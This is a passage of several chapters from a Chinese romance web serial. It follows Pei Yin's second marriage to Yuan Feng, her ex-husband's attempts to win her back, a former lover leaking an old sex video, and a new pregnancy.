李美纶的出现,就像生活里的一个小插曲。
没人再去在意。
……
裴吟自从嫁进袁家,受到了前所未有的重视。
袁家家风很好。
对可可也很好。
小家伙生日这天,裴吟是想回娘家的。
毕竟这孩子也不是袁家的。
在袁家大张旗鼓地过,实在是有一些不合适。
早上。
袁枫出门的时候,特意来了她房间一趟。
“我订了餐厅,下午我会早回来,咱们一起带闺女去过生日。”
裴吟意外,不确定地问,“你说,要陪可可过生日啊?”
“她是我闺女,我不陪谁陪,你给她好好打扮打扮。”
“这样……合适吗?”裴吟怕麻烦袁枫。
袁枫温和地笑,“有什么不合适的,难不成,你要去找她的亲生父亲,你们一起过?”
裴吟立马否认。
“当然不是,她毕竟不是袁家的孩子,我怕你爸妈……会反感。”
“没人会反感,你嫁到我们家,这孩子就是袁家的,除非你不愿意。”袁枫抱了抱裴吟,“只要你愿意,没人敢说二话。”
裴吟委屈又感激,小手抱紧了他的腰,“谢谢你袁枫,结婚这么久以来,你一直对我这么好。”
“你是我老婆,我不对你好,对别人好,那不成傻子了。”他揉了揉她的头顶,宠溺的说,“我先去上班,别胡思乱想的。”
“哎……你先别走。”她走到他面前,踮起脚尖,羞涩在他的脸下,轻轻的亲了一下,“……那你路上小心。”
袁枫忍着,从内往外溢的幸福。
点头,“好,走了。”
裴吟转身关门。
脸羞的通红。
嫁给袁枫以来,她每天都过的特别舒心。
她以为是地狱来着。
可他偏偏对她那么好。
事事以她为先。
事事尊重她,优先考虑她的感受。
这样婚姻才是婚姻。
她和陆为谦的婚姻,只能称作是牢笼。
裴吟抱着可可下楼吃早餐。
小家伙晃晃悠悠会走了,但走的不算太好。
袁母将她抱进怀里,“可可真厉害,来奶奶喂饭饭。”
“妈,我来就好。”裴吟不想麻烦。
袁母温柔微笑着,“我已经吃过了,你先吃,我来喂她。”
“哦。”
裴吟吃的很快。
但袁母的饭,喂的并不快,她跟小家伙咿咿呀呀的说着话。
反正也听不清小家伙在说什么。
就是逗的袁母笑个不停。
“阿吟,我没记错的话,今天是可可的生日吧,有什么打算没有?”袁母问。
裴吟立马端正坐好,“妈,袁枫说,今天陪我们一起。”
“他有安排就好,本来妈还想着,在家里摆上几桌,请亲朋好友来聚一下,既然你们有计划,那你们就按你们的计划走。”
袁母拿出几个锦盒。
交给裴吟,“这是妈特意给可可买的小金锁,小金手镯,我问过了,说一周后的宝宝,就可以戴了,你一会儿给她戴上。”
“妈,这……”
“收下就好。”袁母将锦盒全部交给裴吟,“阿吟,这孩子进了袁家的门,她就是袁家的孩子,你别老是那么生分,我们一样的疼爱的。”
裴吟心口暖暖的。
浅点头,“谢谢妈。”
袁枫回来的比较早。
裴吟还在午睡,他悄悄的进了房间。
可可在婴儿床上,两条小胖腿,肉嘟嘟的小脚丫,酣睡的模样,特别可爱。
袁枫轻轻的在小宝贝的脸上亲了亲。
尽管他脚步已经极轻。
但裴吟还是醒了。
“你怎么回来的这么早?”
“想着下午带你们去游乐园玩玩,就早早结束了工作。”他没有想到会惊醒她,“没事,你先睡,睡起来咱们再去,晚不了。”
裴吟也睡不着了。
起身去洗了个把脸。
然后换好衣服,将女儿轻轻的哄醒。
小姑娘性格很好,没有起床气,醒来不哭也不闹,只知道咯咯地笑。
“来,爸爸抱。”
袁枫将可可抱起来,小姑娘小胖腿蹬啊蹬的,嘴里含混不清的,也不知道在叫爸爸,还是在叫妈妈。
“给她带个斗篷,一会儿得冷。”袁枫说。
裴吟点头,“该带的都带了,咱们走吧。”
“好。”
……
游乐园里
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。
袁枫将可可放在自己的肩上,单手牵着裴吟。
孩子还太小,很多项目,不能做。
他们夫妻两个,就在旁边看,小姑娘开心坏了,跟袁枫咿咿呀呀的不知道在说什么,哦呜哦呜的。
“阿吟。”
有人叫裴吟。
她回眸,看过去……是陆为谦。
脸上的笑容,瞬间凝滞。
不由的抓紧了袁枫的手。
袁枫感受到,回眸看向裴吟,同时看到了陆为谦。
“他是来找你的,还是看孩子的?”
裴吟也不清楚,今天是可可的生日,或许他是来看孩子的。
裴吟没说话。
陆为谦也没有说话。
就那么望着对方。
袁枫将肩上的女儿,抱给裴吟,“你们聊聊吧,我去那边等你。”
裴吟接过女儿,抱着走向了陆为谦。
他依然很沉闷。
眼底似乎有很多话要说,但总是很难出口。
“有事你就说。”
陆为谦沉了沉,“阿吟,你过的还好吗?”
“挺好的,比起在陆家,强太多了。”裴吟从包里拿了个小玩具给可可玩着,“还有别的事情吗?”
“我过的不好。”他声音哑着说。
裴吟不知道他所说的不好,是什么意思,她现在根本没有兴趣听,“那是你的事情。”
“阿吟,我们真的回不去了吗?”
“我都结婚了,如何回去?”裴吟觉得这种想法可笑,“陆为谦,你也该往前看了,别老呆在原地,我更不想,你是因为我,一直这样的悲伤。”
他沉默着。
许久,才又开口,“我搬出来住了,专注律师事务所的工作,目前来说,经营的还不错。”
“挺好的。”她说。
陆为谦咬着腮,问出了心里一直想问的,“阿吟,你爱他吗?”
“这个重要吗?你也联姻过,你爱过我吗?陆为谦,我们就不要聊爱与不爱的问题了,大家都是为了家族的利益,我遇到袁枫,我已经很知足了,起码,他待我很好,不会让我受委屈,这就够了。”
“那他对……宝宝好吗?”他的视线落到小姑娘的身上,“阿吟,这毕竟不是他的亲生孩子,他真的会爱这个孩子吗?”
裴吟笑了,心酸又嘲弄,“别老把爱挂在嘴边,他不是可可的亲生父亲,他只要不**宝宝,他就是个好人了,你会无缘无故的,爱别人家的孩子吗?问这个问题,不觉得好笑吗?”
第253章 他追不回爱人
“可她是我的女儿,我想让她被人爱,有错吗?”
陆为谦这话说的太理所当然。
裴吟当场炸毛,“我什么时候说,她是你女儿了?陆为谦,你有什么资格说这些?你养过她一天,还是给她买过一片尿布湿?”
“我……”陆为谦自愧。
他确实什么也没有做。
哪怕跟袁枫比起来,他也比不过。
“……阿吟,是你没有给我机会,如果婚礼当天,你肯跟我走,我们现在比你和他在一起,要幸福的多。”
裴吟苦涩。
她摇头,“是幸福,还是重复痛苦,谁又知道呢。”
“可最起码,女儿有亲生的父亲,我再不好,也会全心全意的疼她,爱她,我的爱是毫无保留的。”
陆为谦激动。
指尖也跟着颤抖。
扣住裴吟的肩头,失去了风度和分寸,“阿吟,你太自私了,你完全没有考虑,一个孩子,在不是亲生父母的家庭里长大,会有什么样的心理影响,她长大很可能存在心理问题,很可能会不健康。”
裴吟想笑。
看向陆为谦的眼底,升起一抹凉意。
“她不是你,你怎么知道她会有心理问题?陆为谦,你还在不公什么?我们结束了就是结束了,别再纠缠了行吗?也不要再提什么爱与不爱的事情,爱又怎样,不爱又怎样呢?你倒是爱我呀,你为我放弃过什么呢?我倒是也爱过你啊,可你也并没有因为我的爱,让我幸福不是吗?”
老生常谈。
谈来谈去,还是那些事。
她真的是真的烦了。
裴吟抱着女儿起身,“以后不要再见面了,我怕我老公不开心。”
“阿吟……”陆为谦面上尽是痛苦。
他总是找不到合适的方式,与裴吟相处。
是他的爱不够,才唤不回她吗?
还是说,她其实……已经爱上了这个袁枫?
他摇头,觉得自己是个天生的失败者。
他追不回爱人。
孩子也不属于他。
他到底还剩下什么……
……
裴吟抱着宝宝,找到袁枫。
她想解释些什么。
被他拒绝了。
“你们聊过什么,无需告诉我,也不必抱歉。”袁枫总是很大度。
他的大度,时常在温暖她。
哪怕没有爱,她也坚定的认为,他是一个难得的好人。
袁枫接过裴吟怀里的宝宝,牵起她的手,“走吧。”
他看起来,总是那么的云淡风轻。
像一个超脱了世俗的人。
她就那么看着他,一瞬不瞬的。
他笑:“我脸上有东西啊?这么看我。”
“袁枫,挺谢谢你的。”她说。
袁枫眼神费解,“谢我什么?”
“谢你可以无条件的给我空间,予我宽容,相信我,也善待我的孩子。”
她没那么多华丽的词。
在此刻,她觉得袁枫是一个值得托付的人。
袁枫笑了,“你不是给我发过好人卡了?还想再发一次?”
“不是。”她笑着摇头。
裴吟和袁枫相处,没有压力,不用装脑袋,吃饭的时候,他会给她递筷子,热汤送到她面前,也会变得温和适宜。
一起吃饭时,通常是他抱着宝宝,而她只管先填饱肚子。
幸福,大概就是隐藏在这平凡的生活中。
三口回到家时。
女儿已经睡着了。
袁枫轻轻的将宝宝放到婴儿床,准备回自己的房间,“你也早点休息,累了一天了,睡个好觉。”
裴吟点头。
在他转身离开的时候。
她叫住了他。
“那个……”她欲言又止。
袁枫蹙额:“……什么?”
裴吟咬着唇,未语脸先红,蚊子哼哼般的,“……袁枫,要不,今晚上……你留下来吧。”
她的声音过于羞涩,过于小。
袁枫听的不是很清楚。
便将耳朵递到她唇旁,“你说什么?大点声。”
“听不见,就算了。”她可没有勇气再重复一次。
袁枫笑了,将她拥进怀里。
紧紧抱着,“提前给我机会了?”
“我觉得你是一个好人。”裴吟靠在他的胸口,感受着她遒劲有力的心跳,“袁枫,我是说真的,你真的是一个很好的人。”
“只是个好人?”他笑着,修长的手指,挑起她的下巴。
她的脸很红,像番茄。
眼神不敢直视他。
他的唇,缓缓的靠近,慢慢的,轻轻的压上了她的唇。
呼吸炙热。
吻的温柔又克制。
“袁枫…
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…”她搂上他的脖子,呢喃着他的名字。
他呼吸开始加重,就像着了火的老房子,一发不可收拾。
由浅入深,她被吻的喘不过气。
静谧的房间里,是肆无忌惮蔓延的欲望。
爱……悄然发生。
情事过后。
他将脸贴在她的颈侧,温柔的说话,“感觉怎么样?我要是哪里做的不好,你就跟我讲,嗯?”
“挺好的。”她脸红耳热。
袁枫笑在吻了吻她的头发,“刚刚要得太急,没有措施……,要吃药吗?我去买,以后我会提前准备好。”
“你……”她声音小小的,“……想要个孩子吗?”
“如果你愿意的话,我求之不得。”他抱紧了她,浅浅地吻着她的肩头,“阿吟,我不强求,但如果你想生,我会很开心的。”
她翻过身来,搂上他的颈子,“那如果我给你生了孩子,你还会对可可好吗?”
“你当我是什么人了?我可不会演,人前一套,背后一套的戏码。”他捏住她的下巴,很认真地说,“可可是我们的第一个孩子,她永远是我第一个爱上的宝宝,她的分量不比以后我们任何一个孩子轻,阿吟,如果你怕这个,那我们可以不要孩子。”
“不,不用,我可不想成为你们袁家的罪人。”她是愿意为他生的。
他值得。
她咬着唇,细长的指尖,轻轻的从他的鼻尖,滑落到他的喉结上,“那……为了提高中奖率,我们……是不是……唔……”
她的唇再次被堵上。
这次他要的更凶更猛。
门外的管家,听得脸红心跳。
袁夫人走过来,“程嫂,你怎么老了老了,还听上墙根了?这要让阿吟出来碰上,她可是要生气的。”
“夫人。”程嫂扶着袁夫人,往房间里走,“今天晚上,少爷是去太太房间里睡的,我看您啊……快要抱孙子了。”
“阿吟让阿枫去房间里睡了?”袁夫**喜。
程嫂笑着点头,“我刚刚路过时,听到里面……激烈着呢。”
“好,真好,我们袁家也要开枝散叶了……”
“是啊夫人,您啊……真有福气。”程嫂脸上跟开了花似的。
袁夫人轻捻着佛珠,“阿枫这孩子,总算是不再叫**心了。”
第254章 老子爱她不行啊
裴吟的生活,终于步入了正轨。
她是一个衬职的太太,是一个好的妈妈,更是一个难得的贤惠儿媳妇。
她的刺,在一个有爱的环境里,不再生长。
袁枫不怎么加班。
每天晚上会准时回来,一家人吃个晚餐。
然后,他会带着裴吟出去散步,溜弯。
他们十指紧扣,像热恋中的情人。
他会一边嫌她幼稚,一边又诚实地,给她买那种五颜六色的棉花糖。
也会在她走累的时候,弯下身来,让她爬他的背。
他们之间的相处,是她不曾想象过的融洽。
“阿枫。”女人走到袁枫和裴吟的面前,“阿枫,你为什么不接我的电话?你为什么要避而不见?阿枫,你知道我有多想……”
袁枫轻轻地将裴吟从背上放下来。
看着女人,不耐烦地打断,“你想睡男人,麻烦你去找模子,我呢,正在跟我太太在散步,不想被打扰,你现在最好在我面前消失,别惹我,明白?”
女人不肯。
眼里有了水花。
“她有什么好的,一个二婚的,还带着个孩子,阿枫,你眼光什么时候,变这么LOW了?这种货色也要?”
‘啪。’
巴掌扇在女人脸上,脆生生的。
连裴吟也有些措手不失。
女人满眼委屈。
眼泪簌簌地说,“我说错了吗?你到底是眼光差劲,还是有特殊的癖好?或许,你只是看上了她可以为你的妹妹捐……”
‘啪。’
又是一个巴掌。
和男人狠戾的眼光,“**再给我胡说八道,我现在就可以让你死,你信吗?”
“我,你……你自己心里怎么想的,你自己清楚。”
女人捂着脸跑走了。
裴吟不是傻子,她敏锐地捕捉到了,刚刚女人中的‘捐’字。
她不愿去相信,袁枫对她的好,是有目的的。
“她说捐什么?是哦,你妹妹是在国外治病,是需要我做什么吗?看上我哪个器官了?还是?”
裴吟承认,此时的她,对袁枫是失望的。
她希望,他能诚恳地,不要欺骗她的,把事情讲清楚。
“袁枫,你说,只要你说,我就信你。”
袁枫轻轻地捧着裴吟的脸,很温柔地解释,“妹妹她确实是在国外治病,但这与你无关,没人要你的器官,你别听她瞎说,她就是在挑拨我们的关系,仅此而已。”
裴吟仰着破碎的小脸。
眼眶红透地望着他,“那你告诉我,你妹妹她得了什么病?”
“她是……血液方面的病,免疫系统被破坏,她现在呆在无菌病房里,说实话,她的病不好治,现在已经有器官在衰竭,不是说给她换了肾,换了肝,她就会好起来的病。”
袁枫的话,不像骗人。
裴吟心底却还是打了个问号。
她淡淡的,却心有余悸地说,“袁枫,如果我发现你骗我,我会离开你的。”
“我怎么会骗你,我说的都是真的,这些,你可以向妈求证,如果你再不信,我可以带你去国外,看看我妹,医生说了,她这个病,活不过三年,为了让她多活三年,我要挖你颗肾,割你块肝?有这个必要吗?”
“可她是你妹妹,你的家人,你不可能不救她的。”
裴吟是害怕的。
怕在陆家的事情重演。
袁枫握住了裴吟冰凉的小手,轻轻的揉搓着,“我也想救她,但是用我老婆的命或是健康,去救她,这事我不干。”
“真的吗?袁枫,你不是在骗我?”
袁枫很认真的望着裴吟的眼睛,“你是嫁给了我,不是卖给了我,你还是你,你对任何事情,都有权力说不,没人可以强迫你做出不愿意的事情,阿吟,我作为丈夫,要做的是保护你,而不是把你推向深渊。”
裴吟信了。
投进了袁枫的怀里,“袁枫,如果你骗了我,这辈子我都不会原谅你,不会,永远不会。”
“我不会给你这个机会。”
他拥紧了她。
隔天一大早。
袁枫开车出门,在去公司的路上,他打了把方向,去了那个女人的家。
女人身上是一件黑色吊带的睡衣。
露出白皙的肩头,和一大截胸。
似醒非醒的,慵懒中夹着女性特有的气息。
在清早,有一丝惑人。
她勾着袁枫的领带,将他带到屋内,搂上了他的脖子,“我就知道,你跟那个女人是逢场作戏,阿枫,
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我不怪你。”
袁枫扣住女人的手腕,将她重重地推了出去。
“你挺自作多情的啊。”
他脱下外套,松了松领带,弯身坐到沙发上,抽了根烟,递到唇上点燃。
“何妍,你想要什么,说说看。”
“我当然是要你啊。”何妍搂住袁枫的脖子,坐到他的大腿上,“你跟我断崖式的分手,去结婚了,你知道,我难过了多久吗?整整半年,我都没有缓过来,你说,你是不是得把你补偿我?”
“想要我?”他捉着她的手腕,将她推开,“你也配?何妍,我是跟你玩玩的,你不会以为,我会娶你吧?”
“你是玩玩,可我当真了。”女人抱怀看着他。
袁枫笑了。
像听了一件多么可笑的事情。
他将指尖的烟狠吸了一口后,就摁灭在了面前的烟灰缸里,“你当真,关我屁事,分手费我没给你?何妍,拿了钱,就得守规矩,还要跟我耍无赖,我看你别在江城混了。”
“阿枫……”她扑进袁枫的怀里,娇滴滴的,“这里又没有别人,你跟我还装什么呀,我知道,你和裴吟结婚,就是为了让她做你妹妹的血袋子,我理解,我不让你离婚,你一周过来陪我几天就好了,好不好?”
“放屁。”袁枫怒了。
将女人狠狠地摔了出去,“你再拿自己的想当然,给我胡说八道,小心我收拾你。”
“如果不是这样,你为什么喜欢一个生过孩子的女人?”何妍哭唧唧的。
“跟你有他妈什么关系?老子爱她不行啊?”袁枫抓起外套,指尖警告她,“别让我知道,你去打扰她,否则,我会**。”
“阿枫,你别走……”何妍从身后抱住了袁枫,“……留下来陪我,就一次,一次好不好?”
“放开。”
“我不,阿枫,你知道我有多想你吗?我想念你的怀抱,你的温度,我想念,我们在床上缠绵的样子,阿枫,我离不开你,你不要这么绝情,好不好?”
女人抱着不撒手。
袁枫失去耐心地,扣开她的手指,“我说了,我跟你只是玩了一场你情我愿的游戏,我给你钱的何妍,你跟妓没有什么区别,别不懂事,否则,我真会生气。”
第255章 成年人的世界,要么钱要么性
离开时。
他警告的意味明显。
但何妍没当回事。
她坐在客厅里,抽了根烟。
然后,拿出手机,将自己和袁枫曾经在床上的一段,偷拍视频,匿名发给了裴吟。
“那我倒要看看,这个女人,到底值不值得你爱喽。”
裴吟收到这条匿名信息的时候。
她正在逗可可玩。
视频里的男女热烈,交缠,她很轻易的就认出了男女主角,一个是袁枫,一个就是昨天见到的那个女人。
这么快就沉不住气了?
她承认,这样的视频,看的确实不舒服。
但那是袁枫在结婚前发生的,她没有资格,也没有权利,要求他,在没跟自己认识时,就为自己守身如玉。
唯一,破坏她心情的是。
袁枫答应过她,婚前的那些莺莺燕燕,都已经解决了。
怎么还会闹到她面前?
她拿着手机,将这个视频,转发给了袁枫。
没有留言,也没有多说一个字。
意思很明显,自己看着办。
半个小时后。
袁枫回来了。
他一脸的紧张,几次动唇想解释,没有找到切入口。
“阿吟,这视频……是她偷拍的,都是以前的事情,你……别在意。”
裴吟没在意。
但不开心也是真的。
“你还有多少这样的视频,可以提前跟我讲,我好有个心理准备。”
她淡的,看不出情绪。
失望也有一点。
她没有掩饰。
袁枫抱歉,缓缓半蹲到了她的面前,“阿吟,对不起,是我没有处理好以前的事情,我答应你,以后不会再有这种东西,到你的面前。”
她没有说话。
逗弄着小宝贝。
袁枫握着她的手,肯求着她的原谅,“真的对不起,阿吟。”
她知道自己没有资格计较。
袁枫在婚姻里,是一个合格的丈夫。
他没有过错。
这基于他的人品,并不代表着,他们有多么深厚的感情。
他娶谁,都会对她好的。
一个联姻的老婆,不会成为他偏爱的对象。
他之所以道歉,不过是,想稳固住这段婚姻罢了。
“没关系。”她淡道。
袁枫心里很难受。
她越是这样的风轻云淡,越是不在意,他越觉得对不起她。
“阿吟。”
“袁枫,这不是什么大事,只是觉得有一些打扰到我罢了,我没怪你,这也不是你的错,只要,你在婚姻中,是忠诚的就好了。”
他握着她的手,抵在自己的额头上。
像极了,犯了错的丈夫。
“谢谢你阿吟,没有全盘否定我。”
“当然不会,我说了,你是一个好人,至少对我来说,你是一个很好很好的人,袁枫,我们的婚姻,不会因为一个小小的视频,就瓦解,你别怕。”
她冰凉的小手,摸向他的脸,唇角是温和的弧度,“起来吧。”
这件事情。
激怒了袁枫。
何妍父母的工作没了,弟弟被学校开除,连她住的房子,也被收回。
一时间,她落魄街头。
她找到袁氏,又哭又闹,想见袁枫一面,终究没有得逞。
心里委屈。
又没地方发泄。
何妍便天天跑到袁家别墅,蹲裴吟。
终于是让她蹲到了。
“裴小姐,我们聊聊吧。”何妍摘下口罩,将裴吟拦下,“我想,你有兴趣知道,你的丈夫,在婚前是什么样的人。”
裴吟眼眸淡淡。
甚至,有些可怜眼前这个女人。
“这次,又是什么样的视频?”
“裴吟,你的心是石头做的吗?看到自己的男人跟别的女人滚床单,你竟然无动于衷?”何妍还没有见过,不为袁枫疯狂的女人,“难道你不认为,这是对你的一种侮辱吗?”
裴吟轻笑。
冷眼看向何妍。
“要这么说的话,你未来的老公看到这段视频,一定是要把你定在耻辱柱上的,对吗?”这个世界上哪有不透风的墙,“何小姐,这种视频传出来,最后受影响最大的是你,不是袁枫,不是吗?”
“你……”何妍冷哼,“……你真的一点都不介意?”
“何小姐,男人跟女人不一样,他一旦把你踢出自己的世界,你这辈子都无法再走进去,别徒劳了,我想袁枫并没有亏待你,过好自己的日子,再开始一段新的感情不好吗?何必在一棵树上吊死?”
裴吟太理智了。
理智的何妍,竟然对她生出一些敬佩之情。
“你是女人吗?裴吟。”
“女人就应该像你这样,哭天喊地,分手了还要不甘,置家人于不顾吗?大家都
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是成年人,成年人的世界,除了钱就是性,谁没有谈过几场恋爱?难道,分手就要毁掉吗?那样太幼稚了。”
何妍的一拳,就像打在了一堆棉花上。
裴吟轻飘飘的就将她击的,溃不成军。
“怪不得,袁枫会爱上你,很少有女人,会做到像你这样的冷静,裴吟,输给你,我也不丢人,我想,我跟袁枫这次算是彻底的结束了。”
裴吟笑笑。
女人就应该这样,拿得起,也要放得下。
何妍走了。
冷风吹进裴吟的脖领,她快步走向自己的车子。
今天,她要回一趟娘家。
袁枫和那个女人的视频,不知道被谁泄露了出去,在圈子里,小范围的流行了一把。
裴啸有幸看到。
他心里是挺隔应的。
想着找袁枫说说这事,裴吟先回来了。
“袁枫和何妍的那个视频,你是怎么想的?”
裴吟表情很淡,“那是他婚前的事情,我没什么想法。”
“一点也不介意?”
“不介意。”
裴啸无语地笑了笑,“那你和袁枫的感情,怎么样?”
“挺好的呀。”她面上是淡得不能再淡的神色,像是在聊别人家的事情。
裴啸没问出什么。
通常这样,才是最不放心,“那挺好的,袁枫怎么没跟你一起回来?”
“他要上班啊,哥,这你也要计较?”裴吟抓了把坚果,坐在裴啸的对面,开始嗑,“哥,我是大人了,不要老担心我,如果我受不了,我一定会跟他离婚了,大不了,以后不嫁人了呗,这又不是什么不得了的事情。”
“看来,我得找袁枫聊聊。”
裴吟抬眸看他,“有这个必要吗?说的好像我们之间感情多深一样,哥,联姻这两个字,就注定着是悲剧的开始,袁枫之前是什么样的人,我真的不在意,他现在对我挺好的,就够了。”
裴啸捏着眉心。
其实,一开始,他是不愿意让裴吟再去联姻的。
可她坚持。
“你以为你去联姻了,我就可以做自己了?”裴啸有更多的身不由己,“哥哥,不希望你去做这种牺牲,你明白吗?”
裴吟垂眸,神色淡了下去,“我们生在这样的家庭里,都不会自由,我知道,爸妈也想让你去联姻,但是,哥,你可以拒绝的。”
第256章 太太有喜了
“如果不幸福,就回来,哥养你。”裴啸说。
裴吟笑着点头,“行啊,我争取不成为你的累赘。”
傍晚的时候。
袁枫来了。
他拿了两瓶法国红酒,要跟裴啸喝两杯。
借着酒劲,裴啸说了很多敲打袁枫的话。
他姿态放的很低,很乖,把裴啸的**捋的很顺。
回家的路上。
他才敢问裴吟有没有见何妍这事。
“见了。”她说。
“那她……跟你说什么了?”袁枫肉眼可见的紧张。
裴吟摇头,“没说什么。”
“阿吟,很抱歉,我结婚的时候说过,不会让婚姻里充斥这样的事情……还是发生了。”
“过去了。”她不想计较。
她的微笑恬淡。
他喉结微动,扣住她的下巴,去跟她接吻。
她没有拒绝。
但也没有上次那样的热情。
他知道,她其实心里有一些心结在的。
“知道吗阿吟,我一直在避免,让你前段婚姻里的伤害,再次在我们之间上演,但还是让你受到了不该有的伤害……”
他很懊恼。
他甚至不知道,该如何,才能弥补这一切。
他靠在椅背上。
胳膊盖住眼睛,喉间是对事情无法把控的无奈。
“我说了,这事已经过去了,不要再提了。”
让袁枫苦恼,不是她的本意。
婚姻里如果计较太多,就会变得鸡飞狗跳。
他想解决事情的初衷,是好的。
但没必要钻牛角尖。
“袁枫,回家吧。”
袁枫深呼吸,帮裴吟系好安全带,“好,回家。”
日子,日复一日的重复。
裴吟没再提何妍的事情,袁枫也没有提。
袁枫出差了一个月。
回来后,袁夫人做了一桌子菜,给儿子接风。
晚餐丰盛。
裴吟吃的反胃。
没吃几口就进洗手间里吐去了。
“今天谁做的饭?是不是做了太太不爱吃的?”袁枫一副事后找他们算账的计较,跟着裴吟就跑进了洗手间。
程嫂是过来人。
她悄悄的跟袁夫人说,“夫人,我看太太是有喜了。”
“有喜了?这么快?”袁夫人惊喜。
“我看啊,八成是,太太年轻,那少爷又是精壮的年纪,怀孕……是不**不离十了。”
程嫂脸笑着像朵花。
牙龈一半露在外面。
袁夫人心中暗喜,忙对程嫂说,“赶紧的,吩咐厨房做一些清淡的,有营养的汤,一会儿让阿吟喝了,这孕早期,营养得跟上。”
“知道了,夫人,我马上去安排。”
洗手间里。
裴吟吐了个天昏地暗。
等到缓下来,全身几乎虚脱,袁枫给她捋着后背,担心地问她,“不会是食物**吧?咱们去医院看看去?”
裴吟生育过。
这种情况,再加上自己的例假也没有来。
很清楚,知道,这意味着什么。
她怀孕了。
她怎么这么容易怀孕啊。
小手轻轻的抚上自己的小腹,怔怔的。
袁枫摸不着头脑,急慌慌的,“阿吟,你到底怎么了?别吓我,咱们去医院吧,你看你都吐成什么样了。”
“袁枫。”她扭过脸来,看向紧张的男人,“你跟外面的女人,生过孩子吗?”
袁枫被问得一愣。
他向来做足了措施。
不可能搞出孩子来啊。
“阿吟,你可别吓我,我哪里跟别人生过孩子啊。”
“你确定在外面,没有私生子?不会哪天,又有人领着一个孩子,找上门来,说是你的孩子?”
袁枫发誓,“不可能,绝对没有私生子,如果有,我出门让车撞……”
她的指尖捂住他最后一个字。
点头,“我信你。”
她深吸一口气,“袁枫,你去药店,给我买条验孕棒吧,我想测一下。”
“验孕……”袁枫瞳仁猛地收紧,“……你,你,怀孕了?”
“验一下比较准。”
袁枫大喜,抱起裴吟转了个圈,“还买什么验孕棒啊,直接去医院。”
“不要,万一不是呢,空欢喜一场。”
“如果没怀孕,就看看是不是胃的问题,不舒服,是要看医生的。”
袁枫抱着裴吟一直没有放下,经过餐厅时。
袁家长辈都在。
裴吟有些窘迫,“快放我下来,我自己可以走。”
袁枫没听,对父母说,“爸,妈,阿吟她不舒服,我带她去医院,你们先吃,不用等我们了。”
程嫂把熬的汤端出来。
只看到了二人离开的背影。
“夫人,我说得对吧,这太太啊,一定是怀上了。”
袁夫人望向自己的老公说,“阿吟可真能干,这次啊,保准给我们生个大孙子。”
“孙子孙女我都喜欢。”袁先生高兴,又给自己倒了一杯,“让阿枫多抽
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时间陪陪阿吟,还有你啊,把照顾可可的重任担起来,让阿吟毫无后顾之忧的好好养胎。”
“这还用你说,我拿可可是当亲孙女来的。”
这点,袁先生认可,但这孩子毕竟是陆家的。
就怕有一天,这陆家来抢。
……
医院里。
裴吟做了早孕的检查。
跟她想的一样,怀了,快两个月了,时间好像是她和袁枫的第一次。
“我这个易孕体质,我也是服了。”她看着单子,有一些彷徨,“这次怀孕,我怎么突然有点忐忑呢。”
“别忐忑,我会陪着你的。”
他紧紧的拥着她。
她和宝宝,就像是照进他生命里的一道光。
他的人生,开始变得越来越完整。
……
裴吟怀孕的消息,传到陆家后。
震惊的除了陆为谦,再就是陆蔓。
她一直以为,裴吟嫁给袁枫,是为了气陆为谦,等她气消了,静下心来,和弟弟还有很大可能复合的。
如今,怀孕了。
意味着,裴吟的人生,进入到了一个崭新的阶段。
她根本,就没有想过和陆为谦复合。
所以,即便,陆为谦去抢婚,她也是干脆的拒绝了。
“你怎么想的?”陆蔓问向陆为谦。
他的心,早已经碎成了碎片,“你让我怎么想?我一直以为,我是可以挽回她的,我没想到,她离开陆家的那一天,就已经坚定和我划清的界限,她结束的丝毫不拖泥带水,哪怕,哪怕我们之间有个孩子,也无法拦下她。”
陆蔓一阵唏嘘。
自从上次的车祸,再加上昏迷的那的年,陆为谦的生育系统就受到了很大的影响。
她虽然没有明说。
他自己一定是有感觉的。
那个孩子,有可能是他唯一的孩子。
她想问问他,“可可既然是你的女儿,你有没有想过,把孩子要回来,自己养?”
陆为谦心里很乱。
他自己也说不清,为什么会把一段好好的婚姻,折腾成这样。
妻离子散。
如今想要回宝宝,他和裴吟之间的怨恨不是更加深了吗?
“她不会把宝宝给我的。”
“她和袁枫马上有自己的宝宝了,可可她……毕竟也不姓袁,要是回到陆家,她就是陆家的小姐,肯定比呆在袁家强,况且,你的情况,我想你也自己清楚,你就算和吴家小姐结婚,你们生孩子也很困难……”
第257章 对前女友,应该蛮好的
男性的难言之隐。
是陆为谦难以启齿的。
车祸,昏迷再加上求爱不得,他的身体已经是一塌糊涂。
有时候想想,裴吟离开他,也挺好的。
至少,不用守活寡。
至于那位吴小姐,他并不在意。
“我开不了这个口。”
陆蔓说,“你开不了这个口,我可以去帮你开这个口,裴吟向来懂事,如果她知道你的情况,一定会好好考虑的。”
陆为谦没说同意。
也没有说不同意。
陆蔓自当他是默许了。
几个月后。
陆蔓约着裴吟见了一面。
这时的裴吟已经怀孕四个月,她偏瘦,倒也没有看出什么孕相。
“这是一些孕期可以服用的保健品,为谦他不好意思见你,就托我给你送过来。”陆蔓言语浅浅,“裴吟,看你现在这么幸福,我挺为你开心的。”
裴吟笑笑。
表示感谢,“谢谢你陆蔓姐。”
“你哥应该认识一些医院的人,去检查过了吗?男孩还是女孩?”
裴吟点头,“做产检的时候,看过了,说是个男孩。”
“可真是太好了,袁家肯定开心坏了吧?”陆蔓越发的替陆为谦感到惋惜,“我们家为谦没这个福气,你们啊……缘份太浅,裴吟,姐今天,有个不情之请……”
“陆蔓姐……”裴吟突然感觉,有那么一丝不妙,“……你想说什么?”
“为谦自从出车祸后,昏迷了一年的时间,身体各个机能,都差极了,尤其是……那方面,医生说,他再有自己的孩子会很困难……”
陆蔓满脸的惆怅。
透出心疼和遗憾,“……我知道,我要说的这件事情,你可能一时半会儿的,很难接受,但看在他以后将无法,做父亲这件事情上,请把可可还给他吧。”
裴吟脑袋炸了。
可可是她十月怀胎生下来的。
她那么爱这个女儿。
陆家为什么要来抢?
“你们陆家没事吧?”
搞了半天,想要她的孩子。
他们有什么资格要?
“陆为谦要是有病,那就去治病,抢我的孩子干什么?他养过一天?还是你们陆家看过她一次?你可真搞笑……”
裴吟拿起包,还是气得厉害,“……陆蔓姐,我一直很尊重你,但你这次,太让我失望了,你跟其它的陆家人,有什么两样。我告诉你,想要我女儿,门都没有,窗户也锁死。”
“裴吟,你何必这么大动肝火呢,这不是跟你商量嘛,为谦的身体情况,不是那么容易恢复的,他现在……你们好歹也是做过夫妻的,就可怜他可怜他,不好吗?”
裴吟闭了闭眼。
可怜他。
谁来可怜她?
